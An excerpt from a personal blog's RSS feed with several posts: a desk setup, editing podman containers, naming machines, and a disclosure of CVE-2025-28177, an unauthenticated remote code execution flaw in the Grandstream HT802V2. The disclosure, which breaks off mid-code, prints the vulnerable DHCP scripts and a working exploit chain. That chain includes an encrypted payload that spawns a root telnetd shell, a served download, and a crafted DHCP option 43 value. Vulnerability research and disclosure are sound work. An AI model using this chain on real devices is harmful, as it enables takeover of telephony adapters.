&lt;p&gt;But I don't think I'll be using this myself on a regular basis.&lt;/p&gt;
&lt;p&gt;Yes, it can be made "usable". But so can be &lt;code&gt;vim&lt;/code&gt; ;-)&lt;/p&gt;
&lt;p&gt;Also, I'd prefer to have a junior human asking all the questions and making bad suggestions, so they can learn from it, and not some planet burning machine.&lt;/p&gt;</description><category>english</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/06/arguing-with-an-ai-or-how-evgeni-tried-to-use-coderabbit/</guid><pubDate>Tue, 17 Jun 2025 15:19:57 GMT</pubDate></item><item><title>show your desk - 2025 edition</title><link>https://www.die-welt.net/2025/06/show-your-desk-2025-edition/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;Back in 2020 I posted about &lt;a href="https://www.die-welt.net/2020/06/show-your-desk/"&gt;my desk setup at home&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Recently someone in our &lt;code&gt;#remotees&lt;/code&gt; channel at work asked about WFH setups and given quite a few things changed in mine, I thought it's time to post an update.&lt;/p&gt;
&lt;p&gt;But first, a picture!
&lt;a href="https://www.die-welt.net/upload/IMG_20250505_074945.jpg"&gt;&lt;img alt="standing desk with a monitor, laptop etc" src="https://www.die-welt.net/upload/IMG_20250505_074945.jpg"&gt;&lt;/a&gt;
(Yes, it's cleaner than usual, how could you tell?!)&lt;/p&gt;
&lt;h3&gt;desk&lt;/h3&gt;
&lt;p&gt;It's still the same Flexispot E5B, no change here. After 7 years (I bought mine in 2018) it still works fine.
If I'd have to buy a new one, I'd probably get a four-legged one for more stability (they got quite affordable now), but there is no immediate need for that.&lt;/p&gt;
&lt;h3&gt;chair&lt;/h3&gt;
&lt;p&gt;It's still the IKEA Volmar. Again, no complaints here.&lt;/p&gt;
&lt;h3&gt;hardware&lt;/h3&gt;
&lt;p&gt;Now here we finally have some updates!&lt;/p&gt;
&lt;h4&gt;laptop&lt;/h4&gt;
&lt;p&gt;A Lenovo ThinkPad X1 Carbon Gen 12, Intel Core Ultra 7 165U, 32GB RAM, running Fedora (42 at the moment).&lt;/p&gt;
&lt;p&gt;It's connected to a Lenovo ThinkPad Thunderbolt 4 Dock. It just works™.&lt;/p&gt;
&lt;h4&gt;workstation&lt;/h4&gt;
&lt;p&gt;It's still the P410, but mostly unused these days.&lt;/p&gt;
&lt;h4&gt;monitor&lt;/h4&gt;
&lt;p&gt;An AOC U2790PQU 27" 4K. I'm running it at 150% scaling, which works quite decently these days (no comparison to when I got it).&lt;/p&gt;
&lt;h4&gt;speakers&lt;/h4&gt;
&lt;p&gt;As the new monitor didn't want to take the old Dell soundbar, I have upgraded to a pair of &lt;a href="https://www.alesis.com/products/view/m1active-330-usb.html"&gt;Alesis M1Active 330 USB&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;They sound good and were not too expensive.&lt;/p&gt;
&lt;p&gt;I had to &lt;a href="https://www.die-welt.net/2024/09/fixing-the-volume-control-in-an-alesis-m1active-330-usb-speaker-system/"&gt;fix the volume control&lt;/a&gt; after some time though.&lt;/p&gt;
&lt;h4&gt;webcam&lt;/h4&gt;
&lt;p&gt;It's still the Logitech C920 Pro.&lt;/p&gt;
&lt;h4&gt;microphone&lt;/h4&gt;
&lt;p&gt;The built in mic of the C920 is really fine, but to do conference-grade talks (and some podcasts 😅), I decided to get something better.&lt;/p&gt;
&lt;p&gt;I got a &lt;a href="https://fifinemicrophone.com/products/fifine-k669-669b-usb-microphone"&gt;FIFINE K669B&lt;/a&gt;, with a nice arm.&lt;/p&gt;
&lt;p&gt;It's not a Shure, for sure, but does the job well and &lt;a href="https://cstan.io/"&gt;Christian&lt;/a&gt; was quite satisfied with the results when we recorded the &lt;a href="https://focusonlinux.podigee.io/64-30-jahre-debian-gnulinux"&gt;Debian&lt;/a&gt; and &lt;a href="https://focusonlinux.podigee.io/110-15-jahre-foreman"&gt;Foreman&lt;/a&gt; specials of &lt;a href="https://focusonlinux.podigee.io/"&gt;Focus on Linux&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;keyboard&lt;/h4&gt;
&lt;p&gt;It's still the ThinkPad Compact USB Keyboard with TrackPoint.&lt;/p&gt;
&lt;p&gt;I had to print a few fixes and replacement parts for it, but otherwise it's doing great.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.printables.com/model/361131-lenovo-thinkpad-ku-1255-compact-usb-keyboard-track"&gt;Replacement feet&lt;/a&gt;, because I broke one while cleaning the keyboard.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thingiverse.com/thing:5771216"&gt;USB cable clamp&lt;/a&gt;, because it kept falling out and disconnecting.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Seems Lenovo stopped making those, so I really shouldn't break it any further.&lt;/p&gt;
&lt;h4&gt;mouse&lt;/h4&gt;
&lt;p&gt;Logitech MX Master 3S. The surface of the old MX Master 2 got very sticky at some point and it had to be replaced.&lt;/p&gt;
&lt;h3&gt;other&lt;/h3&gt;
&lt;h4&gt;notepad&lt;/h4&gt;
&lt;p&gt;I'm still terrible at remembering things, so I still write them down in an A5 notepad.&lt;/p&gt;
&lt;h4&gt;whiteboard&lt;/h4&gt;
&lt;p&gt;I've also added a (small) whiteboard on the wall right of the desk, mostly used for long term todo lists.&lt;/p&gt;
&lt;h4&gt;coaster&lt;/h4&gt;
&lt;p&gt;Turns out Xeon-based coasters are super stable, so it lives on!&lt;/p&gt;
&lt;h4&gt;yubikey&lt;/h4&gt;
&lt;p&gt;Yepp, still a thing. Still USB-A because... reasons.&lt;/p&gt;
&lt;h4&gt;headphones&lt;/h4&gt;
&lt;p&gt;Still the Bose QC25, by now on the third set of ear cushions, but otherwise working great and the odd 15€ cushion replacement does not justify buying anything newer (which would have the same problem after some time, I guess).&lt;/p&gt;
&lt;p&gt;I did add a cheap (~10€) Bluetooth-to-Headphonejack dongle, so I can use them with my phone too (&lt;em&gt;shakes fist at modern phones&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;And I do use the headphones more in meetings, as the Alesis speakers fill the room more with sound and thus sometimes produce a bit of an echo.&lt;/p&gt;
&lt;h4&gt;charger&lt;/h4&gt;
&lt;p&gt;The Bose need AAA batteries, and so do some other gadgets in the house, so there is a &lt;a href="https://www.technoline-berlin.de/product/de/BC_700"&gt;technoline BC 700 charger&lt;/a&gt; for AA and AAA on my desk these days.&lt;/p&gt;
&lt;h4&gt;light&lt;/h4&gt;
&lt;p&gt;Yepp, I've added an IKEA Tertial &lt;em&gt;and&lt;/em&gt; an ALDI "face" light.
No, I don't use them much.&lt;/p&gt;
&lt;h4&gt;KVM switch&lt;/h4&gt;
&lt;p&gt;I've "built" a &lt;a href="https://www.die-welt.net/2021/01/building-a-simple-kvm-switch-for-30eur/"&gt;KVM switch out of an USB switch&lt;/a&gt;, but given I don't use the workstation that often these days, the switch is also mostly unused.&lt;/p&gt;</description><category>english</category><category>hardware</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/06/show-your-desk-2025-edition/</guid><pubDate>Sat, 07 Jun 2025 15:17:47 GMT</pubDate></item><item><title>running modified containers with podman</title><link>https://www.die-welt.net/2025/05/running-modified-containers-with-podman/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;Everybody (who runs containers) knows this situation: you've been running &lt;code&gt;happycontainer:stable&lt;/code&gt; for a while and it's been great but now something external changed and you need to adjust the code while there is still no release with the patch.&lt;/p&gt;
&lt;p&gt;I've encountered exactly this when our &lt;a href="https://github.com/home-assistant/core/pull/143286"&gt;Home-Assistant stopped showing the presence of our cat correctly&lt;/a&gt;, but we've also been &lt;a href="https://github.com/theforeman/foreman-quadlet/issues/33"&gt;discussing this at work recently&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now the most obvious (to me?) solution would be to build a new container, based on the original one, and perform the modifications at build time.
Something like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;FROM happycontainer:stable
RUN curl … | patch -p1
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But that's not interactive, and if you don't have a patch readily available, that's not what you want.
(And I'll save you the idea of &lt;code&gt;RUN&lt;/code&gt;ing &lt;code&gt;sed&lt;/code&gt; and friends to alter files!)&lt;/p&gt;
&lt;p&gt;You could run &lt;code&gt;vim&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; the container, but that requires &lt;code&gt;vim&lt;/code&gt; to be installed there in the first place. And a reasonable configuration. And…&lt;/p&gt;
&lt;p&gt;Well, turns out &lt;a href="https://docs.podman.io/en/latest/markdown/podman-mount.1.html"&gt;podman can mount the root fs of a running container&lt;/a&gt;.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[root@sai ~]# &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;homeassistant
&lt;span class="go"&gt;/var/lib/containers/storage/overlay/f3ac502d97b5681989dff&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And if you're running as non-root, you'll get an error:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[container@sai ~]$ &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;homeassistant
&lt;span class="go"&gt;Error: cannot run command "podman mount" in rootless mode, must execute `podman unshare` first&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Luckily the solution is in the error message - use &lt;a href="https://docs.podman.io/en/latest/markdown/podman-unshare.1.html"&gt;podman unshare&lt;/a&gt;&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[container@sai ~]$ &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;unshare
&lt;span class="gp"&gt;[root@sai ~]# &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;homeassistant
&lt;span class="go"&gt;/home/container/.local/share/containers/storage/overlay/95d3809d53125e4d40ad05e52efaa5a48e6e61fe9b8a8478416ff44459c7eb31/merged&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So in both cases (root and rootless) we get a path, which is the mounted root fs and we can edit things in there as we like.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[root@sai ~]# &lt;/span&gt;vi&lt;span class="w"&gt; &lt;/span&gt;/home/container/.local/share/containers/storage/overlay/95d3809d53125e4d40ad05e52efaa5a48e6e61fe9b8a8478416ff44459c7eb31/merged/usr/src/homeassistant/homeassistant/components/surepetcare/binary_sensor.py
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once done, the container can be unmounted again, and the namespace left&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[root@sai ~]# &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;homeassistant
&lt;span class="go"&gt;homeassistant&lt;/span&gt;
&lt;span class="gp"&gt;[root@sai ~]# &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="gp"&gt;[container@sai ~]$&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At this point we have modified the code inside the container, but the running process is still using the old code. If we restart the container now to restart the process, our changes will be lost.&lt;/p&gt;
&lt;p&gt;Instead, we can commit the changes as a new layer and tag the result.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[container@sai ~]$ &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="w"&gt; &lt;/span&gt;homeassistant&lt;span class="w"&gt; &lt;/span&gt;docker.io/homeassistant/home-assistant:stable
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And now, when we restart the container, it will use the new code with our changes 🎉&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;[container@sai ~]$ &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;--user&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;homeassistant
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Is this the best workflow you can get? Probably not.
Does it work? Hell yeah!&lt;/p&gt;</description><category>english</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/05/running-modified-containers-with-podman/</guid><pubDate>Wed, 14 May 2025 08:54:19 GMT</pubDate></item><item><title>naming things is hard</title><link>https://www.die-welt.net/2025/04/naming-things-is-hard/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;I got a new laptop (a Lenovo Thinkpad X1 Carbon Gen 12, more on that later) and as always with new pets, it needed a name.&lt;/p&gt;
&lt;p&gt;My naming scheme is roughly "short japanese words that somehow relate to the machine".&lt;/p&gt;
&lt;p&gt;The current (other) machines at home are (not all really in use):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thinkpad X1 Carbon G9 - tanso (炭素), means carbon&lt;/li&gt;
&lt;li&gt;Thinkpad T480s - yatsu (八), means 8, as it's a T4&lt;em&gt;8&lt;/em&gt;0s&lt;/li&gt;
&lt;li&gt;Thinkpad X201s - nana (七), means 7, as it was my first i&lt;em&gt;7&lt;/em&gt; CPU&lt;/li&gt;
&lt;li&gt;Thinkpad X61t - obon (御盆), means tray, which in German is "Tablett" and is close to "tablet"&lt;/li&gt;
&lt;li&gt;Thinkpad X300 - atae (与え) means gift, as it was given to me at a very low price, almost a gift&lt;/li&gt;
&lt;li&gt;Thinkstation P410 - kangae (考え), means thinking, and well, it's a Thinkstation&lt;/li&gt;
&lt;li&gt;self-built homeserver - sai (さい), means dice, which in German is "Würfel", which is the same as cube, and the machine used to have an almost cubic case&lt;/li&gt;
&lt;li&gt;Raspberry Pi 4 - aita (開いた), means open, it's running OpenWRT&lt;/li&gt;
&lt;li&gt;Sun Netra T1 - nisshoku (日食), means solar eclipse&lt;/li&gt;
&lt;li&gt;Apple iBook G4 12 - ringo (林檎), means apple&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, I happen to rent a few servers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ippai (一杯), means "a cup full", the VM is hosted at "netcup.de"&lt;/li&gt;
&lt;li&gt;genshi (原子), means "atom", the machine has an Atom CPU&lt;/li&gt;
&lt;li&gt;shokki (織機), means loom, which in German is Webstuhl or Webmaschine, and it's the &lt;em&gt;web&lt;/em&gt;server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also had machines in the past, that are no longer with me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thinkpad X220 - rodo (労働) means work, my first work laptop&lt;/li&gt;
&lt;li&gt;Thinkpad X31 - chiisai (小さい) means small, my first X series&lt;/li&gt;
&lt;li&gt;Thinkpad Z61m - shinkupaddo (シンクパッド) means Thinkpad, my first Thinkpad&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And also servers from the past:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chikara (力) means power, as it was a rather powerful (for that time) Xeon server&lt;/li&gt;
&lt;li&gt;hozen (保全), means preservation, it was a backup host&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, what shall I call the new one?
It will be &lt;strong&gt;"juuni" (十二)&lt;/strong&gt;, which means 12.
Creative, huh?&lt;/p&gt;</description><category>english</category><category>hardware</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/04/naming-things-is-hard/</guid><pubDate>Fri, 04 Apr 2025 07:59:12 GMT</pubDate></item><item><title>Unauthenticated RCE in Grandstream HT802V2 and probably others using gs_test_server DHCP vendor option (CVE-2025-28177)</title><link>https://www.die-welt.net/2025/02/unauthenticated-rce-in-grandstream-ht802v2-and-probably-others-using-gs_test_server-dhcp-vendor-option/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;The &lt;a href="https://www.grandstream.com/products/gateways-and-atas/analog-telephone-adaptors/product/ht802v2"&gt;Grandstream HT802V2&lt;/a&gt; uses busybox' &lt;code&gt;udhcpc&lt;/code&gt; for DHCP.
When a DHCP event occurs, &lt;code&gt;udhcpc&lt;/code&gt; calls a script (&lt;code&gt;/usr/share/udhcpc/default.script&lt;/code&gt; by default) to further process the received data.
On the HT802V2 this is used to (among others) parse the data in DHCP option 43 (vendor) using the Grandstream-specific parser &lt;code&gt;/sbin/parse_vendor&lt;/code&gt;.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="err"&gt;…&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="s"&gt;"$vendor"&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;VENDOR_TEST_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"`echo $vendor | parse_vendor | grep gs_test_server | cut -d' ' -f2`"&lt;/span&gt;
                &lt;span class="n"&gt;if&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="s"&gt;"$VENDOR_TEST_SERVER"&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;then&lt;/span&gt;
                        &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_test_suite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;VENDOR_TEST_SERVER&lt;/span&gt;
                &lt;span class="n"&gt;fi&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;According to the &lt;a href="https://documentation.grandstream.com/knowledge-base/dhcp-options-linux-server-guide/#dhcp-option-43-vendor-specific-information"&gt;documentation&lt;/a&gt; the format is &lt;code&gt;&amp;lt;option_code&amp;gt;&amp;lt;value_length&amp;gt;&amp;lt;value&amp;gt;&lt;/code&gt;.
The only documented option code is &lt;code&gt;0x01&lt;/code&gt; for the ACS URL.
However, if you pass other codes, these are accepted and parsed too.
Especially, if you pass &lt;code&gt;0x05&lt;/code&gt; you get &lt;code&gt;gs_test_server&lt;/code&gt;, which is passed in a call to &lt;code&gt;/app/bin/vendor_test_suite.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;What's &lt;code&gt;/app/bin/vendor_test_suite.sh&lt;/code&gt;? It's this nice script:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;

&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vendor_test.sh
&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;8080&lt;/span&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp

wget&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;:&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Finished downloading &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; from http://&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;corefile_dec&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"`head -n 1 &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#!/bin/sh"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Starting GS Test Suite..."&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;./&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SCRIPT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;:&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST_SERVER_PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It uses the passed value to construct the URL &lt;code&gt;http://&amp;lt;gs_test_server&amp;gt;:8080/vendor_test.sh&lt;/code&gt; and download it using &lt;code&gt;wget&lt;/code&gt;.
We probably can construct a &lt;code&gt;gs_test_server&lt;/code&gt; value in a way that &lt;code&gt;wget&lt;/code&gt; overwrites some system file, like it was suggested in &lt;a href="https://www.secforce.com/blog/exploiting-grandstream-ht801-ata-cve-2021-37748-cve-2021-37915/"&gt;CVE-2021-37915&lt;/a&gt;.
But we also can just let the script download the file and execute it for us.
The only hurdle is that the downloaded file gets decrypted using &lt;code&gt;corefile_dec&lt;/code&gt; and the result needs to have &lt;code&gt;#!/bin/sh&lt;/code&gt; as the first line to be executed.&lt;/p&gt;
&lt;p&gt;I have no idea how the encryption works.
But luckily we already have a shell using the &lt;a href="https://www.die-welt.net/2025/02/authenticated-rce-via-openvpn-configuration-file-in-grandstream-ht802v2-and-probably-others/"&gt;OpenVPN exploit&lt;/a&gt; and can use &lt;code&gt;/bin/encfile&lt;/code&gt; to encrypt things!
The result gets correctly decrypted by &lt;code&gt;corefile_dec&lt;/code&gt; back to the needed payload.&lt;/p&gt;
&lt;p&gt;That means we can take a simple payload like:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="c1"&gt;# you need exactly that shebang, yes&lt;/span&gt;

telnetd&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1270&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Encrypt it using &lt;code&gt;encfile&lt;/code&gt; and place it on a webserver as &lt;code&gt;vendor_test.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The test machine has the IP &lt;code&gt;192.168.42.222&lt;/code&gt; and &lt;code&gt;python3 -m http.server 8080&lt;/code&gt; runs the webserver on the right port.&lt;/p&gt;
&lt;p&gt;This means the value of DHCP option 43 needs to be &lt;code&gt;05&lt;/code&gt;, &lt;code&gt;14&lt;/code&gt; (the length of the string being the IP address) and &lt;code&gt;192.168.42.222&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In Python:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"192.168.42.222"&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;":"&lt;/span&gt;.&lt;span class="nv"&gt;join&lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;[&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;'{y:02x}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;[&lt;span class="mi"&gt;5&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;len&lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;server&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;]&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;[&lt;span class="nv"&gt;ord&lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 